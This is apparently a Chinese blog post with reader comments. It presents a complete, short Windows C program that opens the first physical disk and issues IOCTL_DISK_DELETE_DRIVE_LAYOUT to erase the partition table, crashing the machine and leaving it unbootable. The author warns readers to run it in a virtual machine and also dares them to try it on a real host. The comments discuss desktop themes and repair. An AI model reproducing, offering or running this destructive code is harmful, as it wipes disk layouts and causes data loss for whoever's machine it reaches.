玩命加载中qwq

瞬间破坏硬盘分区表,让电脑蓝屏退出的程序

  • 2016-05-09
  • 8,770
  • 8

警告:这个程序危险性极大!会直接导致电脑瞬间蓝屏死机重启,然后无法引导,必须重建分区表或重装系统。
硬盘所有文件都会被秒删,切记请在虚拟机里面试!
不服也可以直接在主机上试。

贴上代码:

#include<stdio.h>
#include<tchar.h>
#include<Windows.h>
#include<ntddscsi.h>

int main()
{
    DWORD lpBytesReturned;
    OVERLAPPED lpOverlapped={0};
    //以下两个CreateFile都可以,但前者速度慢,后者速度快。
    //HANDLE DiskHandle=CreateFile(_T("\\\\.\\C"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
    HANDLE DiskHandle=CreateFile(_T("\\\\.\\PhysicalDrive0"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
    //反正是破坏硬盘分区,不进行错误处理
    DeviceIoControl(DiskHandle,
		IOCTL_DISK_DELETE_DRIVE_LAYOUT,
		NULL,0,NULL,0,&lpBytesReturned,&lpOverlapped);
    return 0;
}

代码执行效果视频:

文章原地址 https://www.0xaa55.com/thread-289-1-1.html
感谢原帖作者0xAA55
我已根据此代码用另外的语言实现,效果相同。另外,此程序必须使用管理员权限运行。

灌水吐槽区(登录QQ有头像!)

  • iSnow

    博主你好,我想知道你视频中的窗口Aero效果怎么开启的,是使用AeroGlass吗?

    • 小雨萌萌哒丶

      AeroGlass for win10.你要的话,我会上传到FTP分享 🙂

  • 小朋友啊

    分区表被破坏 系统引导代码出现问题 ~解决这两个就OK咯

    • 小雨萌萌哒丶

      抱电脑城去修是一个正确的选择

    • 小雨萌萌哒丶

      2333交流学习嘛= =。顺便装个逼

你必须 登录 才能发表灌水吐槽区(登录QQ有头像!).